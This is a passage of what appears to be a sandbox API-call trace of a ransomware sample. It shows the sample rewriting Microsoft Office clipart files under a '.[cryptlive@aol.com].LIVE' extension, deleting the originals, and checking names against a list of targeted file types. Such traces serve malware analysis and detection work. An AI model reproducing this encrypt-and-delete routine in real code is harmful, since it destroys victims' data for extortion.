lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.438] GetLastError () returned 0x0 [0149.438] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1352, lpOverlapped=0x0) returned 1 [0149.734] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1360, lpOverlapped=0x0) returned 1 [0149.735] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.735] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.735] SetEndOfFile (hFile=0x3b4) returned 1 [0149.735] CloseHandle (hObject=0x3b4) returned 1 [0149.735] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.735] SetEndOfFile (hFile=0x3b0) returned 1 [0149.738] CloseHandle (hObject=0x3b0) returned 1 [0149.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0149.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.740] lstrlenW (lpString=".doc") returned 4 [0149.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.740] lstrlenW (lpString=".docx") returned 5 [0149.740] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.740] lstrlenW (lpString=".pdf") returned 4 [0149.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.740] lstrlenW (lpString=".xls") returned 4 [0149.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.741] lstrlenW (lpString=".xlsx") returned 5 [0149.741] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.741] lstrlenW (lpString=".ppt") returned 4 [0149.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString=".zip") returned 4 [0149.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.741] lstrlenW (lpString=".rar") returned 4 [0149.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString=".bz2") returned 4 [0149.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString=".7z") returned 3 [0149.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString=".dbf") returned 4 [0149.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString=".1cd") returned 4 [0149.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString=".jpg") returned 4 [0149.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.741] lstrlenW (lpString=".doc") returned 4 [0149.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString=".docx") returned 5 [0149.742] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.742] lstrlenW (lpString=".pdf") returned 4 [0149.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString=".xls") returned 4 [0149.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.742] lstrlenW (lpString=".xlsx") returned 5 [0149.742] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.742] lstrlenW (lpString=".ppt") returned 4 [0149.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.742] lstrlenW (lpString=".zip") returned 4 [0149.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.742] lstrlenW (lpString=".rar") returned 4 [0149.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString=".bz2") returned 4 [0149.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString=".7z") returned 3 [0149.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.742] lstrlenW (lpString=".dbf") returned 4 [0149.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.742] lstrlenW (lpString=".1cd") returned 4 [0149.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0149.742] lstrlenW (lpString=".jpg") returned 4 [0149.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.743] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.743] lstrlenW (lpString="J0099197.GIF") returned 12 [0149.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.765] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10898) returned 1 [0149.765] CloseHandle (hObject=0x3a8) returned 1 [0149.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0149.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.793] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.794] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.824] GetLastError () returned 0x0 [0149.824] ReadFile (in: hFile=0x3d4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a92, lpOverlapped=0x0) returned 1 [0149.833] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2aa0, lpOverlapped=0x0) returned 1 [0149.834] ReadFile (in: hFile=0x3d4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.834] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.834] SetEndOfFile (hFile=0x3b4) returned 1 [0149.834] CloseHandle (hObject=0x3b4) returned 1 [0149.834] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.834] SetEndOfFile (hFile=0x3d4) returned 1 [0149.837] CloseHandle (hObject=0x3d4) returned 1 [0149.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0149.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.890] lstrlenW (lpString=".doc") returned 4 [0149.890] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.890] lstrlenW (lpString=".docx") returned 5 [0149.890] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0149.890] lstrlenW (lpString=".pdf") returned 4 [0149.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.890] lstrlenW (lpString=".xls") returned 4 [0149.890] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.890] lstrlenW (lpString=".xlsx") returned 5 [0149.890] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0149.890] lstrlenW (lpString=".ppt") returned 4 [0149.890] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".zip") returned 4 [0149.891] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString=".rar") returned 4 [0149.891] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString=".bz2") returned 4 [0149.891] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.891] lstrlenW (lpString=".7z") returned 3 [0149.891] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".dbf") returned 4 [0149.891] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".1cd") returned 4 [0149.891] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".jpg") returned 4 [0149.891] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".doc") returned 4 [0149.891] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.891] lstrlenW (lpString=".docx") returned 5 [0149.891] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0149.891] lstrlenW (lpString=".pdf") returned 4 [0149.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString=".xls") returned 4 [0149.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString=".xlsx") returned 5 [0149.891] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0149.891] lstrlenW (lpString=".ppt") returned 4 [0149.891] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.891] lstrlenW (lpString=".zip") returned 4 [0149.891] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.891] lstrlenW (lpString=".rar") returned 4 [0149.891] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.892] lstrlenW (lpString=".bz2") returned 4 [0149.892] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.892] lstrlenW (lpString=".7z") returned 3 [0149.892] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.892] lstrlenW (lpString=".dbf") returned 4 [0149.892] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.892] lstrlenW (lpString=".1cd") returned 4 [0149.892] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0149.892] lstrlenW (lpString=".jpg") returned 4 [0149.892] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.892] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.892] lstrlenW (lpString="J0099200.GIF") returned 12 [0149.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.983] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16543) returned 1 [0149.983] CloseHandle (hObject=0x3a8) returned 1 [0149.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0149.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.993] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.993] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.994] GetLastError () returned 0x0 [0149.994] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x409f, lpOverlapped=0x0) returned 1 [0149.996] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x40a0, lpOverlapped=0x0) returned 1 [0149.997] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.997] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.997] SetEndOfFile (hFile=0x3b0) returned 1 [0149.997] CloseHandle (hObject=0x3b0) returned 1 [0149.997] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.997] SetEndOfFile (hFile=0x3a8) returned 1 [0150.000] CloseHandle (hObject=0x3a8) returned 1 [0150.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.001] lstrlenW (lpString=".doc") returned 4 [0150.001] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.001] lstrlenW (lpString=".docx") returned 5 [0150.001] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0150.001] lstrlenW (lpString=".pdf") returned 4 [0150.001] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.001] lstrlenW (lpString=".xls") returned 4 [0150.001] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.001] lstrlenW (lpString=".xlsx") returned 5 [0150.001] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0150.001] lstrlenW (lpString=".ppt") returned 4 [0150.001] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.001] lstrlenW (lpString=".zip") returned 4 [0150.001] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.001] lstrlenW (lpString=".rar") returned 4 [0150.001] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.001] lstrlenW (lpString=".bz2") returned 4 [0150.001] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.001] lstrlenW (lpString=".7z") returned 3 [0150.001] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.001] lstrlenW (lpString=".dbf") returned 4 [0150.001] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".1cd") returned 4 [0150.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".jpg") returned 4 [0150.002] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".doc") returned 4 [0150.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.002] lstrlenW (lpString=".docx") returned 5 [0150.002] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0150.002] lstrlenW (lpString=".pdf") returned 4 [0150.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString=".xls") returned 4 [0150.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString=".xlsx") returned 5 [0150.002] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0150.002] lstrlenW (lpString=".ppt") returned 4 [0150.002] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".zip") returned 4 [0150.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString=".rar") returned 4 [0150.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.002] lstrlenW (lpString=".bz2") returned 4 [0150.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.002] lstrlenW (lpString=".7z") returned 3 [0150.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".dbf") returned 4 [0150.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.002] lstrlenW (lpString=".1cd") returned 4 [0150.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0150.003] lstrlenW (lpString=".jpg") returned 4 [0150.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.003] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.003] lstrlenW (lpString="J0101856.BMP") returned 12 [0150.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.017] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=78840) returned 1 [0150.017] CloseHandle (hObject=0x3a8) returned 1 [0150.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0150.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.018] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.018] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0150.019] GetLastError () returned 0x0 [0150.019] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x133f8, lpOverlapped=0x0) returned 1 [0150.022] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x13400, lpOverlapped=0x0) returned 1 [0150.025] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, 